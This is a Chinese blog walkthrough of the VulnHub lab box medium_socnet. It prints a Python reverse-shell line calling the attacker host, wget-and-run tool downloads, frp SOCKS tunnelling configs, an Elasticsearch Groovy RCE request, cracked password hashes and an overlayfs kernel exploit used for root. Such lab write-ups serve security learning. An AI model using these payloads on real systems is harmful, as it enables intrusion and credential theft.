vulnhub-medium_socnet

这篇具有很好参考价值的文章主要介绍了vulnhub-medium_socnet。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

medium_socnet

从学长那里薅来的靶机,说是基于docker的,挺有意思,那必须搞一下呀!(后面百度才知道这玩意是vulnhub上面的)

0x01 信息收集

一、主机扫描

还是老规矩,nmap扫一手。
vulnhub-medium_socnet
发现192.168.56.101主机,而且22和5000端口是开着的。
访问一下5000端口看看
vulnhub-medium_socnet
有个输入框,输入内容就会回显,这里我尝试丢个弹窗发现会被转义

<script>alert(1)</script>

vulnhub-medium_socnet
暂时不知道有啥用。

二、遍历目录

dirsearch扫一下

dirsearch -u http://192.168.56.101:5000/

vulnhub-medium_socnet
有一个admin目录,访问一下
vulnhub-medium_socnet
根据页面的提示,说是有一个exec()函数可以执行,叫我们输入代码。这里不清楚是哪种语言的exec函数,于是就都试了一下。最后确定了是python代码。
vulnhub-medium_socnet
但是这里没有回显,就只是Ran the code这句话,尝试弹个shell看看。


0x02 docker1

在本地开启终端监听2333端口

nc -lvvp 2333

然后回到刚刚的输入框,输入如下代码反弹shell

__import__('os').popen("nc 192.168.56.1 2333 -e /bin/bash")

注意:这里为什么不用system函数,是因为没办法反弹shell,于是想到了还有一个popen函数可以;还有就是不能用/bin/bash,原因是当前用户主机上没有这个命令,只能用/bin/sh
vulnhub-medium_socnet
成功getshell!


0x03 内网穿透

相信都可以看到,当前目录有一个Dockerfile文件,这说明当前所处的环境是在docker里的,所以战斗还没结束,才刚刚开始呢。
查看一下当前的ip

eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:03
          inet addr:172.17.0.3  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:56753 errors:0 dropped:0 overruns:0 frame:0
          TX packets:56729 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:7008504 (6.6 MiB)  TX bytes:7519009 (7.1 MiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

很明显,172.17.0.3 是一个内网的ip,这对我第一次做这种主机感觉很有意思,不用很多台主机,却能构造一个类内网的环境,瞬间激起了我的兴趣。接下里可以把这台主机当作内网来打了。

一、内网信息收集

先查看一下当前的用户权限
vulnhub-medium_socnet
ok,root权限,无所畏惧。cd到tmp目录下,上传fscan扫一波。
在fscan所在的目录开启python的http服务

python -m http.server

vulnhub-medium_socnet
然后在目标主机执行命令

wget http://192.168.56.1:8000/fscan
chmod 777 fscan
./fscan -h 172.17.0.3/24

fscan扫描的结果如下
vulnhub-medium_socnet
存在三台主机(暂且说成主机),172.17.0.3是当前这台。172.17.0.1开着22端口,暂时没法利用。172.17.0.2开启着9200端口,可以选择从这台入手。

二、代理转发

现在的问题是172.17.0.2我无法访问,需要做一下socks代理。
首先先编辑一下frpc.ini文件

[common]
server_addr = 192.168.56.1
server_port = 7777

[socks5]
type = tcp
plugin = socks5
remote_port = 6666

然后编辑frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7777

现在同样需要开启python的http服务,然后进入目标主机的/tmp目录下上传frpcfrpc.ini文件。

cd /tmp
wget http://192.168.56.1:8000/frpc
wget http://192.168.56.1:8000/frpc.ini
chmod 777 frpc

然后在本地运行frps(这里是windows环境)

frps.exe -c frps.ini

vulnhub-medium_socnet
然后再在目标主机上执行

./frpc -c frpc.ini

像这种就算成功连接
vulnhub-medium_socnet
接下来还需要一个重要角色——proxifier,我承认他确实好用哈哈。
需要先配置一下代理服务器,地址就是本地ip,然后端口是刚刚在frpc.ini设置的6666端口。
vulnhub-medium_socnet
配置完后ok就可以了,然后浏览器访问172.17.0.2:9200
vulnhub-medium_socnet
成功访问!


0x04 docker2

从页面可以看出这应该是一个api,这个elasticsearch有点眼熟啊,这里有他的版本4.10.2,百度一手。

{
  "status" : 200,
  "name" : "Boomer",
  "cluster_name" : "elasticsearch",
  "version" : {
    "number" : "1.4.2",
    "build_hash" : "927caff6f05403e936c20bf4529f144f0c89fd8c",
    "build_timestamp" : "2014-12-16T14:11:12Z",
    "build_snapshot" : false,
    "lucene_version" : "4.10.2"
  },
  "tagline" : "You Know, for Search"
}

百度说的是存在命令执行漏洞,也就是rce,找了一个poc,抓个包看看能不能用。

POST /_search?pretty HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

这里也是顺利执行了,而且是root权限,省的我提权了哈哈。
vulnhub-medium_socnet
那么第二台也是被拿下(这里我不会反弹shell,因为他上面没有nc,用bash也弹不了,就没有再试了,应该是有办法可以反弹的,当时没有多想)。
第二台同样也是docker环境
vulnhub-medium_socnet


0x05 宿主机

可以看到根目录下有一个passwords文件
vulnhub-medium_socnet
于是获取一下内容,内容如下

Format: number,number,number,number,lowercase,lowercase,lowercase,lowercase
Example: 1234abcd

john:3f8184a7343664553fcb5337a3138814 
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b

欸,这我可能会想到这账户密码万一是第三台的ssh的账户密码呢?于是马不停蹄的md5解一下密。

john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane"

接下里就是一个一个试呗。这里试出来是john,哎root还是差点啊~
vulnhub-medium_socnet


0x06 提升权限

查看一下ip

docker0   Link encap:Ethernet  HWaddr 02:42:4e:92:81:cd
          inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
          inet6 addr: fe80::42:4eff:fe92:81cd/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:69070 errors:0 dropped:0 overruns:0 frame:0
          TX packets:66850 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:7609931 (7.6 MB)  TX bytes:27188443 (27.1 MB)

eth0      Link encap:Ethernet  HWaddr 08:00:27:a6:e2:ec
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea6:e2ec/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:82567 errors:0 dropped:0 overruns:0 frame:0
          TX packets:64591 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:34336325 (34.3 MB

ok,这才是真正的宿主机,现在不在docker内了。
查看一下宿主机的版本,看看有没有什么内核漏洞

uname -a

vulnhub-medium_socnet

这个版本有点老,应该是有漏洞的,去kali里找找看。

searchsploit linux 3.13.0

这里是有一个特别明显的漏洞
vulnhub-medium_socnet

overlayfs这个应该是可以利用的,把脚本放到当前目录

searchsploit -m linux/local/37292.c
vim 37292.c

到这里我就不太会了,也是看了一下网上的wp才明白的。
是这样的,这个代码没有问题,但是需要删掉几个地方,红框里的都是需要删除的
vulnhub-medium_socnet
因为他代码里要编译ofs-lib.c,但是ofs-lib.c文件这里没有,而kali有现成的ofs-lib.so文件,所以思路就是删除它编译的那段代码,然后把ofs-lib.so文件连同编译好的37292.c文件上传到目标主机。
定位到kali上的ofs-lib.so文件

locate ofs-lib.so

然后编译37292.c文件

gcc 37292.c

ok,准备工作都做完了,接下来上传文件(a.out就是编译后的可执行文件)

cd /tmp
wget http://192.168.56.1:8000/ofs-lib.so
http://192.168.56.1:8000/a.out
chmod 777 a.out
./a.out

但是他这里报错啊,说是没有指定的链接库。没关系,我这里有Ubuntu 16可以用,低版本编译总不会报错吧(后面再学习怎么用指定的链接库链接,我太菜了呜呜呜)
编译成功后重新上传执行
vulnhub-medium_socnet
成功!完结撒花!


0x07

不容易呀打这台主机,不过是真有意思,就是最后那里提权有点搞人心态哈哈。但是确实也是学到了很多东西。文章来源地址https://www.toymoban.com/news/detail-760021.html

到了这里,关于vulnhub-medium_socnet的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【算法专题--双指针算法】leecode-15.三数之和(medium)、leecode-18. 四数之和(medium)

    🍁你好,我是 RO-BERRY 📗 致力于C、C++、数据结构、TCP/IP、数据库等等一系列知识 🎄感谢你的陪伴与支持 ,故事既有了开头,就要画上一个完美的句号,让我们一起加油 双指针 常见的双指针有两种形式,一种是对撞指针,⼀种是左右指针。 对撞指针:一般用于顺序结构中

    2024年04月09日
    浏览(50)
  • 【算法专题--双指针算法】leecode-202. 快乐数(medium)、leecode-11. 盛最多水的容器(medium)

    🍁你好,我是 RO-BERRY 📗 致力于C、C++、数据结构、TCP/IP、数据库等等一系列知识 🎄感谢你的陪伴与支持 ,故事既有了开头,就要画上一个完美的句号,让我们一起加油 双指针 常见的双指针有两种形式,一种是对撞指针,⼀种是左右指针。 对撞指针:一般用于顺序结构中

    2024年03月23日
    浏览(39)
  • 论如何零基础stm32手搓出来一个多传感时间同步板(基于STM32F407ZGT6+um982+mti300)

    时间同步是组合导航里不得不解决的问题,为什么要做时间同步,用我自己的理解来说就是:不做时间同步,那就是用从前的A传感器信息来校正当前的B传感器信息,两者都不是描述的同一个时间点的物体,融合出来的结果能对才是见了鬼了。 (ps:以工程经验来说,其实不少

    2024年01月25日
    浏览(65)
  • hackthebox --interface medium

    nmap -sV -sC -O -p22,80 10.10.11.200 -oN ports   访问80页面,主页面是这样的  再访问一下index.php或者index.html 发现是404错误, 有可能是里面隐藏了一些api我们可以查看到搜索看看有没有类似的api泄露 利用f12查看js源码 搜索http:// 或者/ 或者/upload 这里搜索到的是/api  说明这里是有可能跳

    2024年02月06日
    浏览(36)
  • 【leetcode】15. 三数之和(medium)

    给你一个整数数组 nums ,判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i != j、i != k 且 j != k ,同时还满足 nums[i] + nums[j] + nums[k] == 0 。请 你返回所有和为 0 且不重复的三元组。 注意:答案中不可以包含重复的三元组。 这题真的好难,试了好多方法,最后参考了代码随想录的

    2024年02月13日
    浏览(61)
  • 【leetcode】18. 四数之和(medium)

    给你一个由 n 个整数组成的数组 nums ,和一个目标值 target 。请你找出并返回满足下述全部条件且不重复的四元组 [nums[a], nums[b], nums[c], nums[d]] (若两个四元组元素一一对应,则认为两个四元组重复): 0 = a, b, c, d n a、b、c 和 d 互不相同 nums[a] + nums[b] + nums[c] + nums[d] == target 你

    2024年02月13日
    浏览(44)
  • HackTheBox - Medium - Linux - Health

    Health 是一台中型 Linux 计算机,在主网页上存在 SSRF 漏洞,可利用该漏洞访问仅在 localhost 上可用的服务。更具体地说,Gogs 实例只能通过 localhost 访问,并且此特定版本容易受到 SQL 注入攻击。由于攻击者可以与 Gogs 实例交互的方式,在这种情况下,最好的方法是通过在本地计

    2024年01月18日
    浏览(52)
  • HackTheBox - Medium - Linux - Faculty

    Faculty 是一台中型 Linux 机器,具有 PHP Web 应用程序,该应用程序使用的库容易受到本地文件包含的影响。利用该库中的 LFi 会泄露一个密码,该密码可用于通过 SSH 以名为“gbyolo”的低级用户身份登录。用户“gbyolo”有权作为“developer”用户运行名为“meta-git”的“npm”包。此

    2024年01月22日
    浏览(37)
  • HackTheBox - Medium - Linux - BroScience

    BroScience 是一款中等难度的 Linux 机器,其特点是 Web 应用程序容易受到“LFI”的攻击。通过读取目标上的任意文件的能力,攻击者可以深入了解帐户激活码的生成方式,从而能够创建一组可能有效的令牌来激活新创建的帐户。登录后,进一步枚举显示该站点\\\'的主题选择器功能

    2024年02月03日
    浏览(34)
  • Bash Scripting Tutorial for Beginners - medium synoposis

    URL path there will come a time where you want to change certain values in text files, and that’s where sed or set comes in. set is a command line tool that will allow you to modify values in a txt file using regular expressions. Let’s have a look at an exact example on how to use ‘sed’ or ‘set’ to replace values in a text file. Create a text fil

    2024年04月08日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包